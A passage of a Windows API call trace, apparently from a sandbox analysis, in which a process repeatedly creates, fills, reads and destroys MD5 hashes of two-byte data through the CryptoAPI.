	[0050.357] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.357] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.357] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.357] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.357] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.357] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.358] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.358] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.358] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.358] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.358] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.358] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.358] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.358] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.358] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.358] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.358] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.358] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.358] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.358] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.358] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.359] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.359] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.359] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.359] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.359] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.359] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.359] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.359] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.359] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.359] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.359] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.359] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.359] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.359] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.360] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.360] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.360] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.360] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.360] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.360] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.360] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.360] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.360] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.360] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.360] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.360] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.360] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.360] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.360] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.361] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.361] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.361] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.361] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.361] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.361] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.361] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.361] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.361] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.361] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.361] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.361] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.361] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.361] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.362] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.362] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.362] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.362] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.362] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.362] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.362] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.362] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.362] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.362] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.362] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.362] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.362] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.362] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.363] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.363] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.363] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.363] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.363] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.363] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.363] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.363] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.363] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.363] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.363] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.363] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.363] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.363] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.364] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.364] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.364] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.364] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.364] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.364] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.364] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.364] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.364] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.364] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.364] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.364] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.364] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.364] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.365] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.365] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.365] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.365] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.365] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.365] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.365] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.365] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.365] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.365] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.365] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.365] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.365] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.366] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.366] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.366] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.366] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.366] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.366] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.366] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.366] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.366] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.366] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.366] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.366] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.366] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.366] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.366] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.366] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.367] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.367] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.367] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.367] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.367] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.367] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.367] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.367] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.367] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.367] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.367] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.367] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.367] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.367] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.368] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.368] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.368] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.368] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.368] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.368] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.368] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.368] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.368] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.368] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.368] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.368] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.368] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.368] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.369] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.369] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.369] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.369] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.369] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.369] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.369] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.369] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.369] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.369] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.369] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.369] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.369] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.370] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.370] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.370] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.370] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.370] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.370] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.370] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.370] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.370] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.370] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.370] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.370] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.370] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.370] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.370] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.371] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.371] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.371] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.371] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.371] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.371] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.371] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.371] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.371] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.371] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.371] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.371] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.371] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.371] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.372] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
